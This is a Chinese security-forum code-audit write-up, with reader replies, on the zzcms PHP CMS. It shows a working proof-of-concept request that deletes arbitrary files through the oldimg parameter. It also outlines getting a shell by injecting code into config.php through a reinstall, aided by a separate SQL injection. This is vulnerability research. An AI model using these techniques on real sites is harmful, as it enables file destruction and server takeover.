用户
搜索
  • TA的每日心情
    奋斗
    前天 08:03
  • 签到天数: 120 天

    连续签到: 2 天

    [LV.7]常住居民III

    i春秋作家

    i春秋十五军装逼团团长

    Rank: 7Rank: 7Rank: 7

    30

    主题

    103

    帖子

    1055

    魔法币
    收听
    0
    粉丝
    13
    注册时间
    2018-3-1

    i春秋签约作者春秋文阁积极活跃奖春秋游侠

    F0rmat i春秋作家 i春秋十五军装逼团团长 i春秋签约作者 春秋文阁 积极活跃奖 春秋游侠 楼主
    发表于 2018-3-8 00:51:45 107851
    本帖最后由 F0rmat 于 2018-3-7 16:52 编辑

    前言

    今天就审计一个洞,时间不够用了。明天或者周末看看有空有拿一些难的漏洞来审计复现一下。

    环境

    Web: Apache+PHP+MySql
    System: Ubuntu
    Browser: Firefox Quantum

    漏洞详情

    任意文件删除

    文件位置:/user/licence_save.php
    代码:

    $title=trim($_POST["title"]);        
    $img=trim($_POST["img"]);
    if ($_GET["action"]=="add"){
    query("Insert into zzcms_licence(title,img,editor,sendtime) values('$title','$img','$username','".date('Y-m-d H:i:s')."')") ; 
    }elseif ($_GET["action"]=="modify"){
    $oldimg=trim($_POST["oldimg"]);
            $id=$_POST["id"];
            if ($id=="" || is_numeric($id)==false){
                    $FoundErr=1;
                    $ErrMsg="<li>". $f_array[0]."</li>";
                    WriteErrMsg($ErrMsg);
            }else{
            query("update zzcms_licence set title='$title',img='$img',sendtime='".date('Y-m-d H:i:s')."',passed=0 where id='$id'");
                    if ($oldimg<>$img && $oldimg<>"/image/nopic.gif"){
                            $f="../".$oldimg;
                            if (file_exists($f)){
                            unlink($f);
                            }
                            $fs="../".str_replace(".","_small.",$oldimg)."";
                            if (file_exists($fs)){
                            unlink($fs);                
                            }
                    }                
            }
    }
    • 我们可以看到如果从$_GET传值过来如果是modify,那么就执行下面的内容。
    • $oldimg=trim($_POST["oldimg"]);$_POST过来的oldimgtrim去点两边的空格之后赋值给$oldimg
    • 接下来这些不用理会,直到if ($oldimg<>$img && $oldimg<>"/image/nopic.gif")这句判断,$img是上面$_POST过来的,填其他值就不等于了,然后我们的文件名也不会等于/image/nopic.gif
    • $f="../".$oldimg;跳到主目录然后接上我们的要传过来的文件路径和文件名
    • if (file_exists($f)){unlink($f);}这句file_exists判断文件是否存在,存在就用unlink删除文件。
    • 中间没有做任何的过滤。。。

    构造POC

    我们要把这些$_POST$_GET的值都加上,要不然PHP会报错不执行下去。

    1. $_GET["action"]=="modify"
    2. $oldimg=trim($_POST["oldimg"])
    3. $id=$_POST["id"]
    4. $title=trim($_POST["title"]);
    5. $img=trim($_POST["img"]);

    最终的POC:
    GET:http://www.zzcms.test/user/licence_save.php?action=modify
    POST:title=1&img=1&oldimg=install/test.php&id=1

    重装getshell

    文件位置: /install/index.php
    代码:

    <?php
    switch($step) {
            case '1'://协议
                    include 'step_'.$step.'.php';
            break;
            中间省略。。。。。
    case '5'://安装进度
                    function dexit($msg) {
                            echo '<script>alert("'.$msg.'");window.history.back();</script>';
                            exit;
                    }
    
                    $conn=connect($db_host,$db_user,$db_pass,'',$db_port);
                    if(!$conn) dexit('无法连接到数据库服务器,请检查配置');
                    $db_name or dexit('请填写数据库名');
                    if(!select_db($db_name)) {
                            if(!query("CREATE DATABASE $db_name")) dexit('指定的数据库不存在\n\n系统尝试创建失败,请通过其他方式建立数据库');
                    }
    
                    //保存配置文件
                    $fp="../inc/config.php";
                    $f = fopen($fp,'r');
                    $str = fread($f,filesize($fp));
                    fclose($f);
                    $str=str_replace("define('sqlhost','".sqlhost."')","define('sqlhost','$db_host')",$str) ;
                    $str=str_replace("define('sqlport','".sqlport."')","define('sqlport','$db_port')",$str) ;
                    $str=str_replace("define('sqldb','".sqldb."')","define('sqldb','$db_name')",$str) ;
                    $str=str_replace("define('sqluser','".sqluser."')","define('sqluser','$db_user')",$str) ;
                    $str=str_replace("define('sqlpwd','".sqlpwd."')","define('sqlpwd','$db_pass')",$str) ;
                    $str=str_replace("define('siteurl','".siteurl."')","define('siteurl','$url')",$str) ;
                    $str=str_replace("define('logourl','".logourl."')","define('logourl','$url/image/logo.png')",$str) ;
                    $f=fopen($fp,"w+");//fopen()的其它开关请参看相关函数
                    fputs($f,$str);//把替换后的内容写入文件
                    fclose($f);
                    //创建数据
                    include 'step_'.$step.'.php';
                    break;

    过程分析

    • 这段传入的step的值是什么就包含目录下这个文件。
      switch($step) {
          case '1'://协议
                  include 'step_'.$step.'.php';
    • 这段有个函数,执行这个dexit的函数就会弹出$msg内容的信息框.
      然后检查数据库是否能连接成功,如果不行就执行上面dexit这个函数。
      这里要检验数据库连接才可以到下面的文件写入,这里可以利用http://www.freebuf.com/vuls/161888.html这里面的8.2的SQL注入漏洞去获取数据库的信息即可。
          function dexit($msg) {
                          echo '<script>alert("'.$msg.'");window.history.back();</script>';
              exit;
          }
          $conn=connect($db_host,$db_user,$db_pass,'',$db_port);
                  if(!$conn) dexit('无法连接到数据库服务器,请检查配置');
          $db_name or dexit('请填写数据库名');
                  if(!select_db($db_name)) {
              if(!query("CREATE DATABASE $db_name")) dexit('指定的数据库不存在\n\n系统尝试创建失败,请通过其他方式建立数据库');
          }
    • 这里替换就分析可控那一句就行了,因为数据库那些都要检验。
      大家可能会疑问,为什么这个文件翻来翻去都没见这些变量getpost过来啊。大家往上面看就可以看到这两句,把getpost的值都变成变量了。

      下面就是打开文件,读入内容,然后最下面这句就是替换内容了。
          //保存配置文件
          $fp="../inc/config.php";
                  $f = fopen($fp,'r');
                  $str = fread($f,filesize($fp));
          fclose($f);
          $str=str_replace("define('siteurl','".siteurl."')","define('siteurl','$url')",$str) ;
    • 到这里就分析完了,下面就开始写入内容了。很简单,就闭合然后注释后面的就行了。

    然后访问地址:http://www.zzcms.test/inc/config.php

    结束

    大家晚安,早睡点休息哈!

    参考

    源码下载地址:https://pan.lanzou.com/i0lm7za

    https://www.t00ls.net/viewthread.php?tid=44098

    本帖被以下淘专辑推荐:

    getpass.cn
    发表于 2018-3-9 09:37:04
    审计大佬~~膜拜
    小白~~~
    使用道具 举报 回复
    为什么审计文章那么少人 了呢
    使用道具 举报 回复
    发表于 2018-3-10 11:01:13
    感谢分享!
    使用道具 举报 回复
    发表于 2018-3-11 09:09:21
    没有语言基础能不能学审计
    使用道具 举报 回复
    F0rmat i春秋作家 i春秋十五军装逼团团长 i春秋签约作者 春秋文阁 积极活跃奖 春秋游侠
    5#
    发表于 2018-3-11 09:15:25
    chunqiutest 发表于 2018-3-11 01:09
    没有语言基础能不能学审计

    审计并不是很难的事情啊,你问这个问题,你应该尝试一下,看到什么不懂就去弄懂。如果看到一堆代码就不想看了,那你永远也学不会审计。
    getpass.cn
    使用道具 举报 回复
    发表于 2018-3-11 15:23:35
    学到很多东西嘿嘿
    http://nico.lolimoe.cn/blog/
    使用道具 举报 回复
    getshell   你需要知道数据库的密码 ~
    使用道具 举报 回复
    F0rmat i春秋作家 i春秋十五军装逼团团长 i春秋签约作者 春秋文阁 积极活跃奖 春秋游侠
    8#
    发表于 2018-3-24 14:47:03
    starnight_cyber 发表于 2018-3-24 05:19
    getshell   你需要知道数据库的密码 ~

    我上面说了配合SQL注入的方法:
    这段有个函数,执行这个dexit的函数就会弹出$msg内容的信息框.
    然后检查数据库是否能连接成功,如果不行就执行上面dexit这个函数。
    这里要检验数据库连接才可以到下面的文件写入,这里可以利用http://www.freebuf.com/vuls/161888.html这里面的8.2的SQL注入漏洞去获取数据库的信息即可。
    getpass.cn
    使用道具 举报 回复
    F0rmat 发表于 2018-3-24 14:47
    我上面说了配合SQL注入的方法:
    这段有个函数,执行这个dexit的函数就会弹出$msg内容的信息框.
    然后检查 ...

    嗯  已复现  感谢
    使用道具 举报 回复
    F0rmat i春秋作家 i春秋十五军装逼团团长 i春秋签约作者 春秋文阁 积极活跃奖 春秋游侠
    10#
    发表于 2018-3-26 10:35:49

    不客气,我能看到你出现问题然后用办法去解决问题我已经很欣慰了,加油!
    getpass.cn
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册